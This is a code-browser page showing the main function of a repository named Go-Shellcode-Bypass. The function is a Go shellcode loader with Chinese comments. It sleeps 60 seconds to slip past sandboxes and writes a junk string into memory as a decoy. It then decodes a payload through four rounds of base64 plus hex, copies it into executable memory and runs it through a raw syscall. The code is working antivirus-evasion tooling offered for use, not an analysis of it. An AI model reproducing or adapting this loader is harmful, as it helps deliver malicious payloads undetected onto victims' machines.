MCPcopy Create free account
hub / github.com/Cuerz/Go-Shellcode-Bypass / main

Function main

main.go:49–81  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

47}
48
49func main() {
50
51 time.Sleep(60 * time.Second)
52
53 // 内存加载shellcode前,先压入一段无关字符串用来混淆
54 var c string = "sgamfygyjffqrqwxzcvzxbsdwdqbsdbgagqwQWRQW/.OAUSHCNIADOdjfqwSFADOQIWOIJOGWEMPOSDPOOPasffvaSFAsafwfYRinJD3124651612qwrE02e"
55
56 // 调用VirtualAllo申请一块内存
57 addr1, _, err := VirtualAlloc.Call(0, uintptr(len(c)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
58 //调用RtlCopyMemory加载进内存当中
59 _, _, err = RtlCopyMemory.Call(addr1, (uintptr)(unsafe.Pointer(&c)), uintptr(len(c)/2))
60
61 Str := Readcode() // 加载 shellcode
62 deStrBytes := Base64DecodeString(Str) // 4次base64解码
63 for i := 0; i < 3; i++ {
64 deStrBytes = Base64DecodeString(deStrBytes)
65 }
66 shellcode, err := hex.DecodeString(deStrBytes)
67
68 // 调用VirtualAllo申请一块内存
69 addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
70 if addr == 0 {
71 checkErr(err)
72 }
73 // 调用RtlCopyMemory加载进内存当中
74 _, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)/2))
75 _, _, err = RtlCopyMemory.Call(addr+uintptr(len(shellcode)/2), (uintptr)(unsafe.Pointer(&shellcode[len(shellcode)/2])), uintptr(len(shellcode)/2))
76 checkErr(err)
77
78 //syscall来运行shellcode
79 syscall.Syscall(addr, 0, 0, 0, 0)
80
81}

Callers

nothing calls this directly

Calls 3

ReadcodeFunction · 0.85
Base64DecodeStringFunction · 0.85
checkErrFunction · 0.85

Tested by

no test coverage detected